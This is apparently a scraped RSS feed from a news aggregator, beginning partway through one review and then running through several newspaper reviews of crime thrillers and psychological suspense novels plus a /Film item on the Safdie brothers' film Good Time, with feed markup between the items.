The book offers fascinating insights into how “Dear Leader” maintains his authority in a country that makes the Oceania of Orwell’s 1984 look like a walk in the park.

At the end of the book, DB John reveals which part of his story is truth and which is invention: and there are no prizes for guessing which is stranger.

DB John's Star of the NorthPR

DB John’s Star of the North tells a gripping story of a daring adventure

Our Kind Of Cruelty by Araminta Hall (Century, £12.99) **** 

In this psychological thriller the reader is trapped inside the mind of a mentally disturbed narrator.

It should be the literary equivalent of spending a four-hour journey stuck next to a nutter on the bus, but in Araminta Hall’s skilled hands, her narrator, Mike Hayes, becomes quite addictive company.

The book starts with banker Mike in prison, accused of murder, then rewinds to explain why. Mike has returned from a stint working in America to find that his girlfriend, Verity, has not forgiven him for his brief fling with another woman and is now engaged to another man.

Our kind of CrueltyPR

Our kind of Cruelty bridges the gap between annoying and addicting

But Mike is convinced the engagement is an extension of the role-playing games he and Verity used to indulge in and that really she wants him to try to win her back. Mike soon turns full-scale stalker, spying on Verity and her fiancé whenever possible.

And when he’s home alone, he “has dinner” with Verity, talking to her in her absence. As the story progresses, it transpires that Mike may be an example of our old friend, the “unreliable narrator,” giving us a version of events in which he should not be shouldering the blame.

But is Mike being manipulated by someone who is exploiting his mental health problems? Araminta Hall has said she wrote the book out of anger at the way so many men mistreat women.

But what makes Our Kind Of Cruelty so memorable is not its psychological portrait of a dysfunctional male, but the slow-burning thrills and chills. Seasoned thriller readers will find themselves being taken on a familiar journey – but it’s still a highly enjoyable ride.

Let’s block ads! (Why?)

]]> https://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/feed/ 0 High drama in store plus a stab at a classic: A selection of gripping & grim new thrillers https://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/ https://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/#respond Fri, 06 Apr 2018 14:03:23 +0000 http://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/

Getty

Jo Nesbo has updated Macbeth to the 1970s

MACBETH – Jo Nesbø (Hogarth, £20)

*****

It is no easy task taking on the greatest English writer of all time and turning one of his best-loved plays into a thriller for the modern reader. Yet this is what Jo Nesbø attempts with Macbeth and the result is an immensely enjoyable and gloriously dark novel.

Set in the 1970s the book sees Macbeth command the police SWAT team in a derelict and nameless Scottish town. Corruption rules supreme despite the best efforts of incumbent police chief Duncan and Macbeth is called upon to tackle drug lords and biker gangs against a backdrop of scheming and treachery. Civil unrest only ever seems a heartbeat away.

Macbeth’s no-nonsense approach wins the respect of his men and captures the eye of his superiors. Then a drugs raid at the port leads to a bloody gun battle and secures his promotion. His future appears assured.

But of course this is Macbeth and his “vaulting ambition” means he will never be happy with anything other than the top job. So when his partner Lady, a casino owner who has won his heart, whispers, “You have to kill Duncan”, the scene is set for a paroxysm of bloodletting.

TORSTEN SILZ/AFP/Getty

Double Jo Nesbo

Nesbø is one of several writers to interpret Shakespeare classics for contemporary readers as part of the Hogarth Shakespeare series. He opted for Macbeth and it makes for an easy fit with his style of noir thrillers. But his Macbeth is no pale imitation of the original and nor does he treat the task as a novelty or a literary trick. Rather he takes the story – a morality play, a tragedy, a cautionary tale of overreaching oneself – and places it firmly in a framework that any modern reader can relate to.

The names of most central characters (Macbeth, Lady, Duff, Duncan, Banquo, Lennox) come straight from Stratford-upon-Avon. The plot also follows the same path. Without spoiling the story for those unfamiliar with the play, the murderers and their victims are true to the original. If anything Nesbø ups the body count.

Yet his Macbeth also deals with more modern tragedies: police corruption, drug addiction and pollution. It paints a stark picture of crime, unemployment and despair in the UK’s abandoned cities.

Perhaps at times he tries too hard to keep to the script. The three witches appear but as helpers to a demonic drugs lord. Nesbø alludes to the prophecy that Macbeth “shall never be vanquished” until Birnam Wood comes to Dunsinane but it feels a little forced.

–

Michael Fassbender and Marion Cotillard in the 2015 film adaptation of Macbeth

Yet these are minor niggles in what is a tremendously satisfying read. Nesbø’s Macbeth stands comfortably as a thriller in its own right and would deservedly grace the bestsellers list with or without the Shakespeare connection. He has accomplished that toughest of literary feats: putting his own unmistakable mark on one of Shakespeare’s most celebrated plays.

Yes it is bleak, relentless and steeped in blood. It feels hopeless at times. But it is Macbeth and we would feel cheated by anything less.

MATT GIBSON

Karen Hamilton

Karen Hamilton used to be an air hostess

THE PERFECT GIRLFRIEND by Karen Hamilton Wildfire, £12.99

*****

MEET Juliette, a woman so obsessive in her pursuit of the man who dumped her that she makes Glenn Close’s character in Fatal Attraction seem sane, approachable and easygoing.

Juliette’s ex-boyfriend Nate is an airline pilot and such is her commitment to winning him back that she trains as an air stewardess to ensure their paths cross again. She closely monitors his work rota and routinely lets herself into his flat when she knows he is away, snooping around and sleeping over when Nate’s schedule allows it. She also uses a spy app to monitor his text messages. It quickly becomes apparent that she will stop at nothing to win him back or, as she puts it: “I’m in it for the long haul.”

So when Nate acquires a new girlfriend the stakes are disturbingly high. How far will Juliette go to win back her man? Spectacularly far, it turns out.

Hamilton is a former flight attendant and The Perfect Girlfriend gives a fascinating behind-the-scenes insight into the life of an air stewardess. Her debut novel is written with a gleeful zeal that leaps off the page and its momentum comes from the reader watching and waiting to see how far Juliette will go in her ruthless, obsessive pursuit of Nate. You will be nail-bitingly terrified for him long before you meet him.

Juliette is an unforgettably monstrous character: cold, calculating and entirely lacking in empathy. Her appalling scheming made me gasp aloud as I read, although her unhinged behaviour stems from a bleak back story that feels a little at odds with this larger-than-life romp of a novel. And as the plot unspools there are times when you have to suspend disbelief.

But Juliette is such a memorable, grippingly unpredictable character that you’ll be happy to go along for the turbulent ride.

CHARLOTTE HEATHCOTE

Related articles

–

If you like your crime fiction dark this is for you

THE SMILING MAN by Joseph Knox Doubleday, £12.99

*****

If you like your crime fiction dark, gritty and contemporary, then Joseph Knox’s latest novel is for you. In Knox’s debut novel Sirens, a Waterstones Thriller Of The Month, Manchester detective Aidan Waits embarked upon an undercover investigation into a drugs gang but it rapidly spiralled out of control. So as The Smiling Man opens, Waits is in disgrace, covering the night shift with politically incorrect DI Peter Sutcliffe (the book is dripping with dark humour) and the pair become involved in a bizarre case when an unidentifiable smiling corpse is found in an abandoned city centre hotel.

Times are tough in Manchester. Prostitutes are using the hotel, there is a huge problem with the drug “spice” and rumours abound of a serial killer on the loose in the city.

At the same time an alt-right journalist is trying to blackmail a young woman with a sex video. There is also a parallel flashback storyline involving a young boy called Wally who is used as a decoy by Bateman, an unspeakably violent sadist in a relationship with his mother.

The book opens with Wally witnessing the horrific murder of an elderly couple by Bateman. Knox’s novel is hugely detailed and involving, written with style and drawing together multilayered plotlines to a satisfying conclusion. Among a colourful and believable cast of supporting characters, it is the flawed, very human Aidan Waits who forms the solid centre of the novel.

His colleagues may not like or trust him yet the reader is very much on the side of a man whose childhood in foster care means he is emotionally distant but drawn to help the vulnerable people he encounters.

I would recommend reading Sirens first for a clear understanding of DC Waits and his background. But careful reading of The Smiling Man will also take new readers on a dark and engrossing ride through the mean streets of Manchester.

CLAIR WOODWARD

–

A promising debut from a clearly talented writer

ONLY CHILD by Rhiannon Navin Mantle, £12.99

*****

It would be hard to find a more timely release than this compelling novel from Rhiannon Navin. It deals with the aftermath of a school shooting in America, seen through the eyes of six-year-old Zach. The book opens as he cowers in a cupboard with his teacher and the rest of his kindergarten class listening to the “pop pop pop” of gunfire.

After an agonising wait the children are rescued and reunited with their parents.

But when Zach’s mother arrives her relief at finding her young son unharmed is short-lived when she realises that her older boy is missing.

In its examination of how both a family and a community struggle to cope with such a traumatic event, Only Child feels eerily prescient in the wake of the most recent school shooting in Florida.

It is impossible not to be moved by Zach’s heartbreaking narration as he tries to navigate his new life where the adults he has always relied on start acting in ways he cannot understand.

Moving and extremely thought-provoking, this is a very promising debut from a clearly talented writer.

MERNIE GILMORE

Let’s block ads! (Why?)

]]> https://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/feed/ 0 Exclusive: ‘Good Time’ Behind the Scenes Clip Explores One of 2017’s Nastiest Thrillers https://briefnews.eu/exclusive-good-time-behind-the-scenes-clip-explores-one-of-2017s-nastiest-thrillers/ https://briefnews.eu/exclusive-good-time-behind-the-scenes-clip-explores-one-of-2017s-nastiest-thrillers/#respond Tue, 21 Nov 2017 16:56:54 +0000 http://briefnews.eu/exclusive-good-time-behind-the-scenes-clip-explores-one-of-2017s-nastiest-thrillers/ Good Time behind the scenes

Good Time hits Blu-ray today, and in honor of the release, we have an exclusive behind-the-scenes clip for your viewing pleasure. The film, from directors Benny Safdie and Josh Safdie, focuses on a heist gone wrong and the deranged fallout. It also gives Robert Pattinson a chance to turn in one of the best performances of the year. Watch the Good Time behind the scenes clip below!

Josh and Benny Safdie, who helmed the breakout indie hit Heaven Knows What, are back with Good Time, an intense crime thriller that will lodge itself your brain and won’t leave anytime soon. In Good Time, Robert Pattinson sets off on a wild one-night odyssey through the city’s underworld as part of a plan to get his brother Nick (Benny Safdie) out of jail.

In an exclusive behind the scenes video from the Good Time Blu-ray release, the Safdie brothers talk a little about developing the film, and developing the character of Nick. They also discuss their decision to have Benny Safdie play Nick.

Good Time behind the scenes clip

In an interview around the time of the film’s release, Benny Safdie was asked if any particular real-life person served as the inspiration for the character he plays, and the filmmaker replied that he himself was the inspiration, saying:

“I mean that in the most honest way. I feel I can relate to … If I were to take certain aspects of my personality and heighten them, I could really feel that. I can feel certain emotional insecurities, emotional detachment, wanting to just kind of close in. If I ratchet that to 11, I would be that person.”

Good Time was very well-received when it played the Cannes Film Festival, so much so that it brought the Safdie Brothers to the attention of none other than Martin Scorsese, who will serve as an executive producer on their next film. The film is also yet another break-out role for Robert Pattinson, who continues to choose very interesting projects in his post-Twilight days, including recent indie films like The Childhood of a Leader and the excellent The Lost City of Z.

Good Time is now available on Blu-ray and DVD (look for our review of it in the next Blu-ray column). Here’s the film’s official synopsis:

After a botched bank robbery lands his younger brother in prison, Constantine Nikas (Robert Pattinson) embarks on a twisted odyssey through New York City’s underworld in an increasingly desperate-and dangerous-attempt to get his brother out of jail. Over the course of one adrenalized night, Constantine finds himself on a mad descent into violence and mayhem as he races against the clock to save his brother and himself, knowing their lives hang in the balance.

The post Exclusive: ‘Good Time’ Behind the Scenes Clip Explores One of 2017’s Nastiest Thrillers appeared first on /Film.

/Film

]]> https://briefnews.eu/exclusive-good-time-behind-the-scenes-clip-explores-one-of-2017s-nastiest-thrillers/feed/ 0 Magical mystery tour: The best new thrillers and crime books https://briefnews.eu/magical-mystery-tour-the-best-new-thrillers-and-crime-books/ https://briefnews.eu/magical-mystery-tour-the-best-new-thrillers-and-crime-books/#respond Mon, 13 Mar 2017 13:35:39 +0000 http://briefnews.eu/magical-mystery-tour-the-best-new-thrillers-and-crime-books/

Book jacketsPH

Journey through the latest thrillers with Jake Kerridge

Quieter Than Killing by Sarah Hilary (Headline, £16.99)  

These days it seems every fictional police detective has a psychopath as their personal nemesis who they cannot escape, a constant presence on their shoulder, whispering poison in their ear.

In my view, the most convincing example of this relationship is in Sarah Hilary’s DI Marnie Rome series. Long ago Marnie’s parents were murdered by Stephen Keele, the teenage boy they were fostering, and although Stephen is now in prison, Marnie still feels like they are attached by an invisible thread.

The fourth novel begins with Marnie investigating a series of horrifically brutal attacks on convicted criminals. 

She suspects the perpetrator is motivated by revenge and starts hunting for suspects among the criminals’ victims.

But then the tenants who live in Marnie’s parents’ old home suffer a vicious beating and Marnie forces herself to return to the home she has not been able to set foot in since her parents died. Even worse, she discovers evidence linking all the attacks to her parents’ murder and must visit Stephen in prison to find out what he knows.

One of the best things about this series is the way Hilary portrays Marnie as strong enough to resist victimhood and engage in a psychological fight to prevent her past defining and shaping her life. But as this book reveals, although she has won many battles, the war is far from over, making this the most poignant entry in the series so far.

Related articles

A Handful Of Ashes by Rob McCarthy (Mulholland Books, £16.99)

As somebody who has watched so many episodes of Casualty that I could probably perform a tracheotomy from memory, I love Rob McCarthy’s crime novels, which combine mystery with medical soap opera.

Rob McCarthy is the pen name of an unidentified real-life medical student, which means his books have a rare air of authenticity. Where most crime novels’ autopsy scenes suggest that the writers don’t know their brachial arteries from their elbows, McCarthy wades confidently into the gory details. And he is particularly good at portraying young doctors’ hellish, sleep-deprived lives.

Book cover [UK]

His hero Harry Kent, who made his debut in last year’s The Hollow Man, combines his shifts in A&E with working as a medical examiner for the Metropolitan Police and stays awake by necking amphetamines like Smarties. 

This follow-up sees Harry trying to find happiness with a nice normal new girlfriend but his precious free time is snatched away by his manipulative alcoholic ex, DCI Frankie Noble, who wants his unofficial help on the investigation into the apparent suicide of a heart surgeon. 

The dead woman was a whistle-blower who claimed that a colleague’s experimental procedures had unnecessarily cost the lives of four young children. Her colleague was exonerated and she was suspended but, although suicide seems plausible, Harry suspects foul play.

McCarthy’s prose is rather rough and ready but, despite needing some cliché removal surgery, there’s no denying his storytelling skill. This is crime fiction told from an unusual perspective that is tense, believable and gripping. 

VERDICT: 4/5

Say Nothing by Brad Parks (Faber & Faber, £12.99) 

This take on every parent’s worst nightmare begins with Scott Sampson, a federal judge in Virginia, receiving a call from a kidnapper who has abducted his six-year-old twins, Sam and Emma.

Any reader hoping that the judge will turn action hero in the vein of Liam Neeson in 

Taken will be disabused by his reaction to the phone call. He has a panic attack.

But the terrified, bumbling reactions of Judge Sampson and his wife Alison seem not only to be more plausible than Neeson-style heroics but more interesting. 

The kidnappers order the judge to be lenient towards the low-level drug dealer he is due to sentence. But once he carries out their wishes, he discovers that they have more complex plans for him. 

So he finds himself in the position of having to justify his strange sentencing policy to his colleagues and the press. He is desperate to keep his job because, if he fails to carry out the kidnappers’ demands, he will start receiving bits of his children through the post.

Sampson is reluctant to call in the FBI, as their priority is always to capture the kidnapper rather than ensure the safety of the abductees. I don’t know whether former journalist Brad Parks has ferreted out this fact or invented it, but it is one of many horribly plausible details in a book that always appears well informed. 

Parks is well known in the US for novels featuring the investigative reporter Carter Ross, but this is the first time he has been published in Britain and we have been missing out. This is a superior and enjoyable thriller with an appealingly light touch.

VERDICT: 4/5

Books [PH]

Criminally good

Venture deeper into the world of crime with more of Jake Kerridge’s nail-biting choices

The Pictures by Guy Bolton (Point Blank, £14.99)

The Hollywood “fixer” as seen in the Coen brothers film Hail, Caesar! was the man who made sure that the stars’ misdemeanours were hushed up back in the days when their public expected them to be pure as the driven snow. In Guy Bolton’s debut novel, it’s 1939 and Jonathan Craine is supposed to be keeping the lid on the mysterious death of a producer of The Wizard Of Oz. But he can’t resist pursuing the truth in this star-studded, deliciously dark noir. 

The Acid Test by Élmer Mendoza (MacLehose Press, £14.99)

Mexican novelist Élmer Mendoza is known as “the godfather of narco-lit” thanks to his many books exploring the devastating effect of the all-powerful drug cartels on his homeland. This novel sees his regular detective Edgar “Lefty” Mendieta depressed almost to the point of suicide by the level of carnage around him, trying to avenge the murder of an exotic dancer. It’s gloomy but essential reading.

Let The Dead Speakby Jane Casey(HarperCollins, £12.99)

DS Maeve Kerrigan returns for the seventh instalment of one of the most reliably enthralling of current crime series. Here she’s investigating the murder of a woman denounced for promiscuity by the happy-clappy hypocrites at the local evangelical church. As ever, Kerrigan’s bickering with her Neanderthal colleague Josh Derwent – here showing some unexpected and welcome vulnerability – is a highlight.

The Road To Ithaca by Ben Pastor (Bitter Lemon Press, £8.99)

Martin Bora, Ben Pastor’s handsome, noble Wehrmacht officer, is running Philip Kerr’s Bernie Gunther a close second as my favourite morally conflicted Second World War-era German detective. This fifth entry in the series finds Bora making a perilous journey deep into the hills of Crete to uncover – and possibly hush up – the truth about an apparent war crime committed by German paratroopers.

Born Bad by Marnie Riches (Avon, £7.99)

This is the story of two gangster families vying for control of a city, not among the orange trees of sunny Sicily but in rainy old Manchester. Riches compensates for the unexotic setting with offbeat characters – including an enforcer known as “the Fish Man” who guts his victims like a salmon and garnishes the corpses with cucumber slices – and the novel manages to be both gritty and great fun.

Related articles

Let’s block ads! (Why?)

Daily Express :: Entertainment Feed

]]> https://briefnews.eu/magical-mystery-tour-the-best-new-thrillers-and-crime-books/feed/ 0